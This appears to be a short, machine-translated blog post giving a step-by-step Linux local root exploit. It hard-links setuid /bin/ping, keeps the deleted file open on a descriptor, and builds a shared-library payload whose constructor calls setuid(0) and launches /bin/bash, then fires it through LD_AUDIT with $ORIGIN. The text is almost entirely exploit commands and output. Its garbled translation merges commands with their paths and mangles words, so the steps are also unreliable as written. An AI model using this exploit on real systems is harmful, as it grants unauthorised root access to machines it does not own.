1. Login with normal user first
Su-user1
2. Create a Directory
mkdir/tmp/exploit/
3. Use the ping command to create a hard link
Ln/bin/ping/tmp/exploit/target
View Permissions
[email protected] exploit]$ LL
Total 40
-rwsr-xr-x. 2 root root 37928 Nov
4.
EXEC 3</tmp/exploit/target
LL/PROC/$$/FD/3 ($$: Current process ID)
Lr-x------. 1 User1 user1-Oct-12:16/PROC/21518/FD/3-/tmp/exploit/target
5, delete the previous link files and directories
rm-rf/tmp/exploit/
[Email protected] tmp]$ LL/PROC/$$/FD/3
Lr-x------. 1 user1 user1, Oct 12:16/proc/21518/fd/3-/tmp/exploit/target (Deleted)
6. Create a C language file with the following code: (note the number of Airbus and _)
Cat/tmp/payload.c
void __attribute__ ((constructor)) init ()
{
setuid (0);
System ("/bin/bash");
}
7, use GCC execution, do not show any error can
Gcc-w-fpic-shared-o/tmp/exploit PAYLOAD.C
8. When viewing, this directory has EXECUTE permission
Ll-d/tmp/exploit
-rwxrwxr-x. 1 user1 user1 6020 Oct 13:57/tmp/exploit
ld_audit= "\ $ORIGIN" EXEC/PROC/SELF/FD/3
This article is from the "Silence" blog, make sure to keep this source http://silencezone.blog.51cto.com/3613477/1867594
Linux System Vulnerability Rights